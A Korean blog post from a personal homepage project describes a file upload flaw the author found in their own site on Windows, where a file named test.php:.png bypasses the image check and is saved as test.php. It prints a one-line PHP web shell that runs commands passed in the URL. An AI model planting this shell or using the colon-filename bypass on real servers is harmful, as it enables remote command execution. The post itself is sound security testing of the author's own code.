agencies

(중요) [프로젝트] 홈페이지 구축 - 파일 업로드 취약점 본문

Ⅲ. 정보보안

(중요) [프로젝트] 홈페이지 구축 - 파일 업로드 취약점

agencies 2024. 2. 26. 11:01

https://agencies.tistory.com/109

 

[프로젝트] 홈페이지 구축 (메인 배경화면) v0.4

소스코드 소식ㆍ정보 공지사항 팀 블로그 주요활동 자원봉사 서포터즈 정보보안 팀 소개 팀 리더 인사말 슬로건 직무 이미지 선택 Upload 이미지 파일을 업로드하면, 최근 업로드 된 이미지를 찾

agencies.tistory.com

 

지난 시간에는 사용자가 홈페이지의 이미지를 변경할 수 있는 코드를 작성하였습니다.

하지만 windows 운영체제를 사용하는 환경 취약점을 통해 파일 업로드 취약점이 발견되었습니다.

 

 

리눅스 운영체제에서 test.php:.png 파일을 업로드 하면 성공적으로 업로드가 가능합니다.

* 윈도우 환경에서는 파일 업로드 시 파일명에 콜론(:)을 붙일 경우 그 뒤에 문자열은 삭제되어 업로드 됩니다.

예를 들어 test.php:.png 파일을 업로드 할 경우 png의 확장자를 가진 파일이 업로드되는 것이 아니라 test.php파일이 업로드됩니다.

 


웹쉘 업로드

touch test.php:.png

vi test.php:.png

<?php
system($_GET['cmd']);
?>

 

위의 파일을 전송하면 성공적으로 업로드가 됩니다.

 

img 파일에는 test.php가 있는 모습을 볼 수 있습니다.

하지만 파일의 내용은 아무것도 적혀있지 않았습니다.